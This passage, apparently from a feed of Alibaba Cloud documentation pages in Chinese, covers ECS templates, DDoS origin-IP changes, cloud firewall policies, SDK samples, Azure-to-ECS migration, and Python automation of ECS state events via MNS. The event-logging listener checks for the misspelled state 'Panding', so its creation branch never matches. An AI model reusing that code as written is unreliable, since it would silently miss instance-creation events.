        "ROSTemplateFormatVersion": "2015-09-01",
        "Resources": {
          "SG": {
            "Type": "ALIYUN::ECS::JoinSecurityGroup",
            "Properties": {
              "SecurityGroupId": "sg-m5eagh7rzys2z8sa****",
              "InstanceIdList": [
                "i-m5e505h9bgsio0wy****",
                "i-m5e505hio0wyjc6r****"
              ]
            }
          }
        }
      }

      YAML格式

      ROSTemplateFormatVersion: '2015-09-01'
      Resources:
        SG:
          Type: ALIYUN::ECS::JoinSecurityGroup
          Properties:
            SecurityGroupId: sg-m5eagh7rzys2z8sa****
            InstanceIdList:
            - i-m5e505h9bgsio0wy****
            - i-m5e505hio0wyjc6r****

      ]]> 更换源站ECS公网IP_接入DDoS高防_DDoS高防_DDoS防护-阿里云 Fri, 02 May 2025 09:39:04 +0800 更换源站ECS公网IP

      更新时间:2020-03-12 15:23:49

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      若您的源站IP已暴露,建议您更换阿里云ECS云服务器的公网IP,防止黑客绕过DDoS高防直接攻击源站。您可以在DDoS高防管理控制台更换后端ECS的IP,每个账号最多可更换10次。

      背景信息

      更换ECS IP功能仅支持使用经典网络公网IP的ECS更换IP。

      操作步骤

      1. 登录DDoS高防控制台
      2. 在顶部导航栏,选择服务所在地域:
        • 中国大陆:DDoS高防(新BGP)服务
        • 非中国大陆:DDoS高防(国际)服务
      3. 在左侧导航栏,单击接入管理 > 域名接入
      4. 域名接入页面右上方,单击更换ECS IP

        注意 更换ECS IP会使您的业务暂时中断几分钟,建议您在操作前先备份好数据。

      5. 更换ECS IP需要将ECS停机,若您已将需要更换IP的ECS停机,请直接跳转到步骤6。在更换ECS IP对话框,单击前往ECS,并在ECS管理控制台将需要更换IP的ECS实例停机。
        1. 在实例列表中找到目标ECS实例,单击其实例ID。
        2. 在实例详情页,单击停止
        3. 选择停止方式,并单击确定

          注意 停止ECS实例是敏感操作,稳妥起见,需要您输入手机校验码。

        4. 等待ECS实例状态变成已停止
      6. 返回更换ECS IP对话框,输入ECS实例ID,并单击下一步
      7. 确认当前ECS实例信息准确无误(尤其是ECS IP)后,单击释放IP
      8. 成功释放原IP后,单击下一步,为该ECS实例自动分配新的IP。
      9. ECS IP更换成功后,单击确认,完成操作。

        说明 更换IP成功后,请将新的IP隐藏在DDoS高防后面,不要对外暴露。

      ]]> ALIYUN::ECS::DiskAttachment_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::DiskAttachment

      更新时间:2020-03-26 16:36:38

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ALIYUN::ECS::DiskAttachment用于挂载ECS磁盘。

      语法

      {
        "Type": "ALIYUN::ECS::DiskAttachment",
        "Properties": {
          "InstanceId": String,
          "Device": String,
          "DeleteWithInstance": Boolean,
          "DiskId": String,
          "DeleteAutoSnapshot": Boolean
        }
      }

      属性

      名称 类型 必须 允许更新 描述 约束
      InstanceId String 需挂载磁盘的实例ID。 无。
      DiskId String 磁盘ID。 磁盘和ECS实例必须在同一个可用区。
      Device String 磁盘设备名。 如不指定,则默认由系统按顺序分配,即从 /dev/xvdb 到 /dev/xvdz。
      DeleteWithInstance Boolean 磁盘是否随实例释放。 取值范围:
      • true:释放实例时,该云盘随实例一起释放。
      • false:释放实例时,保留该云盘,不随实例一起释放。
      DeleteAutoSnapshot Boolean 删除数据盘时是否删除自动快照。 取值范围:true(默认值)、false。

      返回值

      Fn::GetAtt

      • DiskId:新建磁盘的ID。
      • Status:新建磁盘的状态。
      • Device:磁盘设备名。

      示例

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Resources": {
          "DiskAttachment": {
            "Type": "ALIYUN::ECS::DiskAttachment",
            "Properties": {
              "InstanceId": {
                "Ref": "InstanceId"
              },
              "Device": {
                "Ref": "Device"
              },
              "DeleteWithInstance": {
                "Ref": "DeleteWithInstance"
              },
              "DiskId": {
                "Ref": "DiskId"
              }
            }
          }
        },
        "Parameters": {
          "InstanceId": {
            "Type": "String",
            "Description": "The instanceId to attach the disk."
          },
          "Device": {
            "Type": "String",
            "Description": "The device where the volume is exposed on the instance. could be /dev/xvd[a-z]. If not specification, will use default value."
          },
          "DeleteWithInstance": {
            "Type": "Boolean",
            "Description": "If property is true, the disk will be deleted while instance is deleted, if property is false, the disk will be retain after instance is deleted.",
            "AllowedValues": [
              "True",
              "true",
              "False",
              "false"
            ]
          },
          "DiskId": {
            "Type": "String",
            "Description": "The disk id to attached."
          }
        },
        "Outputs": {
          "Status": {
            "Description": "The disk status now.",
            "Value": {
              "Fn::GetAtt": [
                "DiskAttachment",
                "Status"
              ]
            }
          },
          "Device": {
            "Description": "The device where the volume is exposed on ecs instance.",
            "Value": {
              "Fn::GetAtt": [
                "DiskAttachment",
                "Device"
              ]
            }
          },
          "DiskId": {
            "Description": "The disk id of created disk",
            "Value": {
              "Fn::GetAtt": [
                "DiskAttachment",
                "DiskId"
              ]
            }
          }
        }
      }

      ]]> 购买了 EDAS 之后,是否需要另行购买 ECS?_资源管理_使用常见问题_常见问题_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 购买了 EDAS 之后,是否需要另行购买 ECS?

      更新时间:2019-11-04 20:17:43

      本页目录

      EDAS 是分布式应用的构建和管理平台,本身不包含 ECS 资源,您需要另行购买 ECS。购买之后,EDAS 能够自动同步您账号下的 ECS 资源并进行使用和管理。

      ]]> 主机边界防火墙(ECS实例间)_访问控制_安全策略_云防火墙-阿里云 Fri, 02 May 2025 09:39:04 +0800 主机边界防火墙(ECS实例间)

      更新时间:2020-04-22 10:12:56

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      云防火墙支持对主机边界防火墙的访问控制,即控制ECS实例间的入流量和出流量。您可以在云防火墙配置访问控制策略,限制ECS实例间的未授权访问。主机边界防火墙的访问控制策略经发布后,会自动同步到ECS安全组并生效。

      背景信息

      相比于为ECS实例创建安全组规则,通过主机边界防火墙定义访问控制策略具有以下优势:
      • 支持策略的批量发布。
      • 提供初始的策略组模板,便于设置放行、拒绝所有流量。
      • 同应用组配合,自动创建安全组。

      关于主机边界防火墙和ECS安全组的区别,请参见云防火墙和安全组有什么差异?

      配置主机边界防火墙访问控制策略时,您必须先创建策略组(策略组包含默认策略),然后在该策略组中配置精细的入方向或出方向访问控制策略。完成策略组和策略配置后,必须发布策略组,才能将策略组策略同步到ECS安全组并生效。完整的使用流程如下:

      1. 新建策略组
      2. 新建策略组策略
      3. 发布策略组策略

      默认情况下,您最多可以创建100个策略组和100条策略,即在ECS安全组创建并同步到云防火墙的策略数量和在云防火墙主机边界防火墙创建的策略数量加起来不超过100条。如果当前策略数量上限无法满足您的需求,建议您及时清理无需使用的策略或提交工单,申请阿里云技术支持。

      策略组类型

      策略组分为普通策略组和企业策略组。下表列举了两种策略组类型的差异。

      策略组类型 策略组策略类型 策略组策略优先级 入方向访问策略 出方向访问策略 适用场景
      普通策略组 默认策略组策略 由策略组模板决定 由策略组模板(放行或拒绝)决定 由策略组模板(放行或拒绝)决定 对网络精细化控制要求较高、网络连接数适中的用户场景
      手动添加的策略组策略 在1~100之间取值,数值越低,优先级越高 支持允许和拒绝策略,可按需添加 支持允许和拒绝策略,可按需添加
      企业策略组 默认策略组策略 取值范围:1,该值不支持修改 由策略组模板(仅放行)决定 由策略组模板(仅放行)决定 对运维效率有更高需求的用户场景
      手动添加的策略组策略 支持允许策略,可按需添加 支持允许策略,可按需添加

      新建策略组

      1. 登录云防火墙控制台
      2. 在左侧导航栏单击安全策略 > 访问控制
      3. 访问控制页面单击主机边界防火墙页签,并单击右上角的新增策略组
      4. 新建策略组对话框配置策略组参数。新建策略组

        参数 描述
        策略组类型 选择策略组的类型:
        • 普通策略组:适用于对网络精细化控制要求较高、网络连接数适中的用户场景。
        • 企业策略组:适用于对运维效率有更高需求的用户场景。
        策略组名称 按页面提示要求设置策略组的名称。

        建议使用方便识别的名称,便于后期管理。

        所属VPC 所属VPC列表选择应用该策略组的专有网络VPC。

        说明 一个策略组只允许隶属于一个VPC。

        实例ID 实例ID列表选择应用该策略组的一个或多个ECS实例。

        说明 实例ID列表只包含所属VPC下的ECS实例。

        描述 简短地描述策略组,方便后期管理。
        模板 模板列表选择要应用的模板类型:
        • default-accept-login:默认放行TCP 22、TCP 3389协议入方向访问和所有出方向访问。
        • default-accept-all:默认放行所有入方向和出方向访问。
        • default-drop-all:默认拒绝所有入方向和出方向访问。

          说明 企业策略组不支持default-drop-all选项。

      5. 单击提交

        策略组创建完成后,您可以在主机边界防火墙的策略组列表中查看新建的策略组,并根据需要对策略组执行以下操作:

        • 配置策略:为策略组配置精细的访问控制策略。
        • 发布:将策略组的访问控制策略同步到ECS实例的安全组。
        • 编辑:修改应用当前策略组的ECS实例和策略组的描述。
        • 删除:删除策略组。

          警告 删除策略组后,策略组中的主机访问控制策略也将被自动删除并失效,请谨慎操作。

          如果您希望清理不再需要的策略组,则可以将策略组来源设置为自定义,筛选出所有手动创建的策略组,再去判断策略组是否需要保留。筛选自定义策略组

      新建策略组策略

      1. 登录云防火墙控制台
      2. 在左侧导航栏单击安全策略 > 访问控制
      3. 访问控制页面单击主机边界防火墙页签,定位到要设置的策略组,单击其操作列下的配置策略
      4. 策略配置页面单击右上角的新增策略
      5. 新建策略组策略对话框配置策略参数。配置策略项

        参数 描述
        网卡类型 默认为内网且不可以修改,表示内网间的访问控制。
        策略方向 选择策略方向:
        • 入方向:指内网中的其他ECS实例访问策略组ECS实例。
        • 出方向:指策略组ECS实例访问内网中的其他ECS实例。
        策略类型 选择策略类型:
        • 允许:放行相应的访问流量。
        • 拒绝:直接丢弃数据包,不会返回任何回应信息。如果两个策略其他配置都相同只有策略类型不同,则拒绝策略生效,允许策略不生效。

          说明 企业策略组不支持拒绝选项。

        协议类型 协议类型列表选择访问流量的协议类型:
        • TCP
        • UDP
        • ICMP
        • ANY:表示任何协议类型。不确定访问流量的类型时可选择ANY。
        端口范围 输入访问流量使用的端口地址范围。例如:22/22。
        优先级 输入策略生效的优先级。使用整数表示,取值范围:1~100。优先级数值越小,优先级越高。

        优先级数值可重复。策略优先级相同时,拒绝类型的策略优先生效。

        说明 企业策略组的策略优先级固定为1且不可修改,表示优先级最高。

        源类型源对象 针对入方向策略,选择访问源地址的类型,并根据选择的源类型设置源对象。

        可选的源类型:

        • 地址段访问

          选择该类型后,需要手动输入访问源地址段。仅支持设置单个地址段。

        • 策略组

          选择该类型后,需要从策略组列表中选择一个策略组,表示设置策略组ECS实例作为源对象。

          说明 企业策略组不支持策略组选项。

        目的选择 针对入方向策略,选择访问流量的目的地址:
        • 全部ECS:表示阿里云账号下所有ECS实例。
        • 地址段访问:选择该类型后,需要输入目的IP/CIDR地址段。
        源选择 针对出方向策略,选择访问源:
        • 地址段访问:选择该类型后,需要输入访问源IP/CIDR地址。
        • 全部ECS:表示阿里云账号下所有ECS实例。
        目的类型目的对象 针对出方向策略,选择目的地址的类型并根据选择的目的类型设置目的对象。

        可选的目的类型:

        • 地址段访问

          选择该类型后,需要手动输入访问目的地址段。仅支持设置单个地址段。

        • 策略组

          选择该类型后,需要从策略组列表中选择一个策略组,表示设置策略组ECS实例作为目的对象。

          说明 企业策略组不支持策略组选项。

        描述 简短地描述策略,方便后期管理。

      6. 单击提交

        策略创建完成后,您可以在策略列表中查看新建的策略,并根据需要编辑删除已创建的策略。

        警告 删除策略后,策略中对应流量的访问控制将失效,请谨慎删除。删除策略后,策略记录仍会保留在策略列表中,但您无法再对其执行任何操作。

      发布策略组策略

      1. 登录云防火墙控制台
      2. 在左侧导航栏单击安全策略 > 访问控制
      3. 访问控制页面单击主机边界防火墙页签,定位到需要发布的策略组,单击其操作列下的发布发布策略
      4. 策略发布对话框确认变更策略(即策略的变更内容),根据需要设置变更备注,并单击确定发布策略组

        策略发布后才会同步到ECS安全组并生效。您可以在ECS控制台的安全组 > 安全组列表页面,查看云防火墙同步到安全组中的访问控制策略。策略的名称默认为Cloud_Firewall_Security_GroupECS安全组列表

      主机边界防火墙配置视频教程

      ]]> 查询ECS实例_Java示例_SDK示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 查询ECS实例

      更新时间:2020-02-12 11:23:40

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍了如何通过阿里云ECS Java SDK调用DescribeInstances根据条件筛选ECS实例。

      前提条件

      您必须至少创建了一台ECS实例。详细步骤请参见批量创建ECS实例

      背景信息

      查询ECS实例适用于在众多实例中快速筛选出需要操作的实例的所需信息,例如:

      • 在根据实例ID修改公网带宽前,根据实例计费方式、运行状态、公网带宽计费方式等筛选出符合条件的ECS实例。
      • 在更新实例上部署的应用前,查询所有使用了相同镜像的ECS实例。

      代码示例

      以下代码适用于查询中国杭州地域下公网带宽采用按流量计费、实例计费方式采用按量付费、网络类型采用专有网络VPC的ECS实例 :

      import com.aliyuncs.DefaultAcsClient;
      import com.aliyuncs.IAcsClient;
      import com.aliyuncs.exceptions.ClientException;
      import com.aliyuncs.exceptions.ServerException;
      import com.aliyuncs.profile.DefaultProfile;
      import java.util.*;
      import com.aliyuncs.ecs.model.v20140526.*;
      
      public class DescribeInstances {
      
          public static void main(String[] args) {
              // 创建DefaultAcsClient实例并初始化。
              DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<yourAccessKeyId>", "<yourAccessSecret>");
              IAcsClient client = new DefaultAcsClient(profile);
      
              // 创建API请求并设置参数。
              DescribeInstancesRequest request = new DescribeInstancesRequest();
              request.setRegionId("cn-hangzhou");
              request.setInstanceNetworkType("vpc");
              request.setInstanceChargeType("PostPaid");
              request.setInternetChargeType("PayByTraffic");
              request.setPageSize(10);
      
              try {
              // 发起请求并处理应答或异常。
                  DescribeInstancesResponse response = client.getAcsResponse(request);
              for (DescribeInstancesResponse.Instance instance:response.getInstances()) 
                  {
                       System.out.println(instance.getImageId());
                       System.out.println(instance.getInstanceId());
                       System.out.println(instance.getPublicIpAddress());
                   }
              } catch (ServerException e) {
                  e.printStackTrace();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
              }
      
          }
      }

      执行结果

      由于以上代码指定获取镜像ID、实例ID以及公网IP地址,则实际返回结果为:

      i-bp1gvi17n5p8hav0i***
      [47.97.***.21]
      ubuntu_16_04_64_20G_alibase_20190620.vhd
      i-bp1gc5z6103qs2t40***
      [47.99.***.82]
      centos_7_06_64_20G_alibase_20190711.vhd

      ]]> ECS实例与MongoDB实例不在同一阿里云账号时如何连接_连接实例_用户指南_云数据库 MongoDB-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例与MongoDB实例不在同一阿里云账号时如何连接

      更新时间:2020-04-21 14:43:04

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      当ECS实例与MongoDB实例不在同一个阿里云账号时,使用本文中的办法可以快速实现两者之间的内网连接。

      方法一:将MongoDB实例迁移至ECS实例所属云账号

      本方法通过数据传输服务DTS(Data Transmission Service)的数据迁移功能,将MongoDB数据库迁移至ECS实例所属云账号中。

      跨账号迁移MongoDB

      操作步骤

      1. 在ECS所属云账号中创建MongoDB实例,详情请参见创建实例,如果已经创建可跳过本步骤。

        说明 创建MongoDB实例时,选择与ECS实例相同的地域可用区专有网络

      2. 将源云账号中的MongoDB数据库迁移至目标云账号中,详情请参见跨阿里云账号迁移MongoDB实例
      3. 将ECS实例的IP地址加入到目标MongoDB实例的白名单中,详情请参见设置白名单

        说明 关于获取ECS实例IP地址信息,请参见如何查询ECS实例的IP地址

      方法二:将ECS实例迁移至MongoDB实例所属云账号

      本方法通过将ECS实例作为自定义镜像共享至MongoDB实例所属云账号的方式,迁移ECS实例数据至MongoDB实例所属云账号中。

      前提条件

      由于不支持跨地域共享镜像,云账号A的ECS实例与云账号B的MongoDB实例必须属于同一地域。

      跨云迁移ECS实例

      操作步骤

      1. 使用ECS实例创建自定义镜像
      2. 将创建的自定义镜像共享至MongoDB实例所属云账号,详情请参见共享镜像
      3. 使用自定义镜像创建ECS实例

        说明 在创建ECS实例时,选择与MongoDB实例相同的VPC网络。

      4. 将ECS实例的IP地址加入MongoDB实例的白名单中,详情请参见设置白名单

        说明 关于获取ECS实例IP地址信息,请参见如何查询ECS实例的IP地址

      方法三:ECS实例与MongoDB实例通过云企业网连接

      本方法通过云企业网(Cloud Enterprise Network)在不同云账号下的专有网络之间建立连接,实现不同云账号下的ECS实例与MongoDB实例的相互连接。

      说明 确保要进行互连的专有网络或交换机的网段不冲突。

      跨云ECS与MongoDB建立云企业网

      操作步骤

      1. 将MongoDB实例切换为专有网络,详情请参见切换为专有网络,如果已经是专有网络可跳过本步骤。
      2. 将ECS实例迁移至专有网络,如果已经是专有网络可跳过本步骤。
      3. 根据实际环境选择通过云企业网进行内网互通的方式,详情请参见:
      4. 将ECS实例的IP地址加入MongoDB实例的白名单中,详情请参见设置白名单

        说明 关于获取ECS实例IP地址信息,请参见如何查询ECS实例的IP地址

      ]]> Azure虚拟机迁移至阿里云ECS_各源环境的迁移_迁移教程_迁移服务_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 Azure虚拟机迁移至阿里云ECS

      更新时间:2020-02-14 18:06:25

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以参见本文档中的步骤,将Azure虚拟机迁移至阿里云ECS实例。

      Azure Windows系统迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 检查授权应用。

        Azure实例迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致某些与硬件绑定的应用许可证(license)失效,您需要做好检查。

      • 检查网络环境。
      • 检查并确保Windows系统VSS服务为启动状态 。
      • 检查是否安装了qemu-agent工具。如果安装了此工具,您需要先卸载。卸载的具体步骤,请参见迁云工具FAQ
      • 建议您先使用测试机,按照本文中介绍的迁云操作步骤进行测试演练。

      完成以下操作,将Azure Windows系统迁移至阿里云:

      1. 下载并安装迁云工具到待迁移的服务器。

        具体步骤,请参见下载并安装迁云工具

      2. 配置user_config.json文件。

        user_config.json配置文件的主要配置项包括:

        • 阿里云账号AccessKey信息
        • 迁移目标区域、目标镜像名称
        • (可选)目标系统盘大小、目标数据盘配置
        • 迁移源系统平台、架构

        各配置项的详细配置方法,请参见配置迁移源和迁移目标

      3. 可选: 配置无需迁移的目录或文件。

        具体配置方法,请参见(可选)排除不迁移的文件或目录

      4. 运行迁云工具主程序。

        以管理员身份运行go2aliyun_client.exego2aliyun_gui.exe。如果是GUI版本,则需要单击start按钮开始迁移。

      Azure Linux系统迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      1. 创建快照以备份数据。
      2. 检查授权应用。

        Azure实例迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致某些与硬件绑定的应用许可证(license)失效,您需要做好检查。

      3. 检查网络环境。
      4. 下载并安装迁云工具。具体操作步骤,请参见下载和安装迁云工具
      5. 进入迁移工具所在目录,运行./Check/client_check --check命令检查待迁移Azure实例是否满足迁移条件。如果所有的检测项都为OK,您可以开始迁移。否则,您需要进行下列检查:
        • 检查cloud-init。具体操作步骤,请参见安装cloud-init
        • 检查GRUB引导程序。部分低内核系统如CentOS 5/Red Hat 5、Debian 7需要将GRUB升级至1.99及以上版本。具体操作步骤,请参见如何为Linux服务器安装GRUB?

          说明 请使用root权限升级GRUB引导程序。

      6. 建议您先使用测试机,按照本文中介绍的迁云操作步骤进行测试演练。

      完成以下操作,将Azure Linux系统迁移至阿里云:

      1. 配置user_config.json

        user_config.json配置文件的主要配置项包括:

        • 阿里云账号AccessKey信息
        • 迁移目标区域、目标镜像名称
        • (可选)目标系统盘大小、目标数据盘配置
        • 迁移源系统平台、架构

        各配置项的详细配置方法,请参见配置迁移源和迁移目标

      2. 可选: 配置无需迁移的目录或文件。

        具体配置方法,请参见(可选)排除不迁移的文件或目录

      3. 使用root权限依次运行以下命令,为迁云工具主程序添加可执行权限并执行该程序。

        chmod +x go2aliyun_client
        ./go2aliyun_client

        等待迁云工具运行完成。当运行迁云工具的界面上提示Go to Aliyun Finished!时,表示迁移完成。如下图所示。linux_result

      跨国际地域迁云的操作步骤

      完成以下操作,进行跨国际地域迁云操作:

      1. 将Azure实例迁移到阿里云对应的国际地域,具体操作步骤,请参见全量迁移

        例如,Azure实例位于美国,您可以将其迁移至阿里云位于美国的地域。具体地域及地域ID请参见地域和可用区

      2. 将新建的镜像复制到目标阿里云地域。具体操作步骤,请参见复制镜像
      3. 使用该镜像在目标阿里云地域创建实例。具体操作步骤,请参见使用自定义镜像创建实例

      ]]> 云服务器ECS_调用示例_.NET SDK-阿里云 Fri, 02 May 2025 09:39:04 +0800 云服务器ECS

      更新时间:2018-10-25 13:44:52

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本示例介绍如何使用阿里云.NET SDK调用ECS的CreateInstance接口创建一个ECS实例。

      云服务器(Elastic Compute Service,简称ECS)是阿里云提供的一种基础云计算服务。使用云服务器ECS就像使用水、电、煤气等资源一样便捷、高效。您无需提前采购硬件设备,而是根据业务需要,随时创建所需数量的云服务器实例。如果不再需要云服务器,也可以方便的释放资源,节省费用。

      在创建ECS实例前,您需要获取以下信息:

      • 镜像 ID

        调用DescribeImages接口查看要使用的镜像 ID。

      • 实例规格

        查看实例规格族选择要创建的ECS实例的规格。

      示例代码

      注意 运行该示例代码将创建ECS实例,并产生实际费用。

      using System;
      using Aliyun.Acs.Core;
      using Aliyun.Acs.Core.Profile;
      using Aliyun.Acs.Core.Exceptions;
      using Aliyun.Acs.Ecs.Model.V20140526;
      
      class Sample
      {
          static void Main(string[] args)
          {
              // 创建客户端实例
              IClientProfile clientProfile = DefaultProfile.GetProfile("<your-region-id>", "<your-access-key-id>", "<your-access-key-secret>");
              DefaultAcsClient client = new DefaultAcsClient(clientProfile);
              try
              {
                  // 创建API请求并设置参数
                  CreateInstanceRequest request = new CreateInstanceRequest();
                  request.ImageId = "_32_23c472_20120822172155_aliguest.vhd";
                  request.InstanceType = "ecs.t1.small";
      			
                  // 请求并打印处理结果
                  CreateInstanceResponse response = client.GetAcsResponse(request);
                  Console.WriteLine("InstanceId: {0}", response.InstanceId);
              }
              catch (ServerException e)
              {
                  Console.WriteLine(e.ErrorCode);
                  Console.WriteLine(e.ErrorMessage);
              }
              catch (ClientException e)
              {
                  Console.WriteLine(e.ErrorCode);
                  Console.WriteLine(e.ErrorMessage);
              }
          }
      }

      ]]> 配置ECS模板_机器资源管理_持续交付流水线(老版)_使用指南_云效-阿里云 Fri, 02 May 2025 09:39:04 +0800 配置ECS模板

      更新时间:2018-03-14 19:17:17

      本页目录

      概述

      云效为了方便企业管理员添加相同云效环境的机器,提供了ECS镜像模板功能,企业管理员可以按照语言类别维护ECS镜像模板,通过ECS镜像模板购买相同运行环境的ECS。

      使用限制

      • 只支持阿里云云服务器ECS
      • 只支持VPC网络
      • 已经创建ECS自定义镜像
      • 已经创建VPC和交换机(Vswitch)
      • 已经创建安全组

      镜像维护

      企业管理员,点击右上角设置,进入“企业设置”页面,点击左侧“主机管理”,然后点击“ECS镜像模板”。

      ECS镜像列表

      确保已经完成配置授权云效,点击“新建模板”来添加ECS镜像模板

      新增ECS镜像

      ]]> ECS状态变化事件的自动化运维最佳实践_最佳实践_云监控-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS状态变化事件的自动化运维最佳实践

      更新时间:2020-04-14 15:48:04

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文通过实践案例为您介绍云监控如何利用MNS消息队列实现自动化处理ECS状态变化事件。

      背景信息

      阿里云ECS在已有的系统事件的基础上,通过云监控新发布了状态变化类事件和抢占型实例的中断通知事件。每当ECS实例的状态发生变化的时候,都会触发一条ECS实例状态变化事件。这种变化包括您在控制台/OpenAPI/SDK操作导致的变化,也包括弹性伸缩或欠费等原因而自动触发的变化,还包括因为系统异常而触发的变化。

      云监控以前发布的系统事件,主要针对告警后人工介入的场景,而这次新发布的事件属于正常类的信息通知,适合自动化的审计运维等场景。为了自动化处理ECS状态变化事件,云监控提供了两种主要途径:一种是通过函数计算,另一种是通过MNS消息队列。本文将为您介绍利用MNS消息队列自动化处理ECS事件的三种最佳实践。

      自动化处理ECS状态变化事件的准备工作

      • 创建消息队列
        1. 登录MNS控制台
        2. 队列页面,选择地域,单击右上角的创建队列,进入新建队列页面。新建队列
        3. 输入队列名称(例如:ecs-cms-event)等信息,单击确认,即可完成创建消息队列。
      • 创建事件报警规则
        1. 登录云监控控制台
        2. 在左侧导航栏,单击事件监控
        3. 事件监控页面,单击报警规则页签,单击右上角的创建事件报警创建/修改事件报警
        4. 基本信息区域,填写报警规则名称,例如:ecs-test-rule。
        5. 事件报警规则区域,选择事件类型为系统事件
          • 产品类型、事件等级、事件名称:产品类型选择云服务器ECS事件类型选择StatusNotification,其余按照实际情况填写。
          • 资源范围:选择全部资源时,任何资源发生相关事件,都会按照配置发送通知;选择应用分组时,只有指定分组内的资源发生相关事件时,才会发送通知。
        6. 报警方式区域,选择消息服务队列,然后选择地域和队列(例如:ecs-cms-event)。
        7. 单击确定,即可完成创建事件报警规则。
      • 安装Python依赖

        本文所有的代码均使用Python 3.6测试通过,您也可以使用Java等其他编程语言。

        请使用Pypi安装以下Python依赖:

        • aliyun-python-sdk-core-v3>=2.12.1
        • aliyun-python-sdk-ecs>=4.16.0
        • aliyun-mns>=1.1.5

      自动化处理ECS状态变化事件的实施步骤

      云监控会把云服务器ECS所有的状态变化事件都投递到MNS里面,接下来我们需要通过编写代码从MNS获取消息并进行消息处理。

      • 实践一:对所有ECS的创建和释放事件进行记录

        目前ECS控制台无法查询已经释放的实例。如果您有查询需求,可以通过ECS状态变化事件把所有ECS的生命周期记录在自己的数据库或者日志里。每当创建ECS时,会发送一个Pending事件,每当释放ECS时,会发送一个Deleted事件。我们需要对这两种事件进行记录。

        1. 编辑一个Conf文件。

          需包含MNS的endpoint、阿里云的access key和secret、region id(例如cn-beijing)以及mns queue的名字 。

          说明 endpoint可以在MNS控制台的队列页面,单击获取Endpoint

          class Conf:
              endpoint = 'http://<id>.mns.<region>.aliyuncs.com/'
              access_key = '<access_key>'
              access_key_secret = '<access_key_secrect>'
              region_id = 'cn-beijing'
              queue_name = 'test'
              vsever_group_id = '<your_vserver_group_id>'
          									

        2. 使用MNS的SDK编写一个MNS Client用来获取MNS消息。
          # -*- coding: utf-8 -*-
          import json
          from mns.mns_exception import MNSExceptionBase
          import logging
          from mns.account import Account
          from . import Conf
          
          
          class MNSClient(object):
              def __init__(self):
                  self.account =  Account(Conf.endpoint, Conf.access_key, Conf.access_key_secret)
                  self.queue_name = Conf.queue_name
                  self.listeners = dict()
          
              def regist_listener(self, listener, eventname='Instance:StateChange'):
                  if eventname in self.listeners.keys():
                      self.listeners.get(eventname).append(listener)
                  else:
                      self.listeners[eventname] = [listener]
          
              def run(self):
                  queue = self.account.get_queue(self.queue_name)
                  while True:
                      try:
                          message = queue.receive_message(wait_seconds=5)
                          event = json.loads(message.message_body)
                          if event['name'] in self.listeners:
                              for listener in self.listeners.get(event['name']):
                                  listener.process(event)
                          queue.delete_message(receipt_handle=message.receipt_handle)
                      except MNSExceptionBase as e:
                          if e.type == 'QueueNotExist':
                              logging.error('Queue %s not exist, please create queue before receive message.', self.queue_name)
                          else:
                              logging.error('No Message, continue waiting')
          
          
          class BasicListener(object):
              def process(self, event):
                  pass
          								

          上述代码只是对MNS消息获取的数据,调用Listener消费消息之后删除消息,后面的实践也会用到。

        3. 注册一个Listener进消费指定事件。这个简单的Listener判断收到Pending和Deleted事件时,打印一行日志。
           # -*- coding: utf-8 -*-
          import logging
          from .mns_client import BasicListener
          
          
          class ListenerLog(BasicListener):
              def process(self, event):
                  state = event['content']['state']
                  resource_id = event['content']['resourceId']
                  if state == 'Panding':
                      logging.info(f'The instance {resource_id} state is {state}')
                  elif state == 'Deleted':
                      logging.info(f'The instance {resource_id} state is {state}')
          								

          Main函数写法如下:

          mns_client = MNSClient()
          
          mns_client.regist_listener(ListenerLog())
          
          mns_client.run()

          实际生产环境下,可能需要将事件存储在数据库里,或者使用SLS日志服务,方便后期的搜索和审计。

      • 实践二:ECS关机自动重启

        在某些场景下,ECS会非预期的关机,您可能需要自动重启已经关机的ECS。

        为了实现ECS关机自动重启,您可以复用实践一里面的MNS Client,添加一个新的Listener。当收到Stopped事件的时,对该ECS执行命令Start。

        # -*- coding: utf-8 -*-
        import logging
        from aliyunsdkecs.request.v20140526 import StartInstanceRequest
        from aliyunsdkcore.client import AcsClient
        from .mns_client import BasicListener
        from .config import Conf
        
        
        class ECSClient(object):
            def __init__(self, acs_client):
                self.client = acs_client
        
            # 启动ECS实例
            def start_instance(self, instance_id):
                logging.info(f'Start instance {instance_id} ...')
                request = StartInstanceRequest.StartInstanceRequest()
                request.set_accept_format('json')
                request.set_InstanceId(instance_id)
                self.client.do_action_with_exception(request)
        
        
        class ListenerStart(BasicListener):
            def __init__(self):
                acs_client = AcsClient(Conf.access_key, Conf.access_key_secret, Conf.region_id)
                self.ecs_client = ECSClient(acs_client)
        
            def process(self, event):
                detail = event['content']
                instance_id = detail['resourceId']
                if detail['state'] == 'Stopped':
                    self.ecs_client.start_instance(instance_id)
        					

        在实际生产环境下,执行完Start命令后,可能还需要继续接收后续的Starting/Running/Stopped等事件,再配合计时器和计数器,进行Start成功或失败之后的处理。

      • 实践三:抢占型实例释放前,自动从SLB移除

